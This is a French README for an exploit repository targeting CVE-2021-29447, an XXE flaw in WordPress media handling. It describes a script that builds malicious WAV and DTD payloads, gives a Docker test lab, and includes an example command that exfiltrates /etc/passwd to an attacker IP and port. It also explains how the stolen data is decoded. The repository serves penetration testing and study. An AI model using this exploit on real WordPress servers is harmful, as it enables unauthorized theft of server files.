
Exploit pour CVE-2021-29447, une vulnérabilité XXE dans WordPress 5.7.0 et versions antérieures. Génère des charges utiles WAV malveillantes pour lire des fichiers arbitraires du serveur via une injection d'entité externe XML. Comprend un environnement de test Docker.
Ce dépôt contient un exploit pour CVE-2021-29447, une vulnérabilité XXE (XML External Entity) présente dans WordPress 5.7.0 et versions antérieures. La vulnérabilité existe dans la bibliothèque média qui traite les fichiers WAV, permettant à un attaquant de lire des fichiers arbitraires du serveur.
| Fichier | Description |
|---|---|
CVE-2021-29447.sh | Script d'exploitation qui génère le payload WAV et le fichier DTD malveillant |
decode.php | Script PHP pour décoder les données exfiltrées (base64 + zlib) |
docker-compose.yml | Environnement Docker avec WordPress vulnérable pour les tests |
docker-compose up -d
chmod +x CVE-2021-29447.sh
./CVE-2021-29447.sh -l <LHOST> -p <LPORT> -f <fichier_cible>
Paramètres :
-l IP de l'attaquant (LHOST)-p Port de l'attaquant (LPORT)-f Chemin du fichier à lire sur le serveur-h Afficher l'aideExemple :
./CVE-2021-29447.sh -l 192.168.1.100 -p 4444 -f /etc/passwd
Les données exfiltrées seront encodées en base64 et compressées avec zlib. Pour les décoder :
php decode.php
L'exploit fonctionne en insérant une entité externe XXE dans les métadonnées d'un fichier WAV. Lorsque WordPress traite le fichier, l'analyseur XML résout l'entité externe, amenant le serveur à effectuer une requête HTTP vers le serveur de l'attaquant avec le contenu du fichier encodé dans l'URL.
Ce code est uniquement à des fins éducatives et de tests de pénétration autorisés. Ne l'utilisez pas sur des systèmes sans autorisation explicite.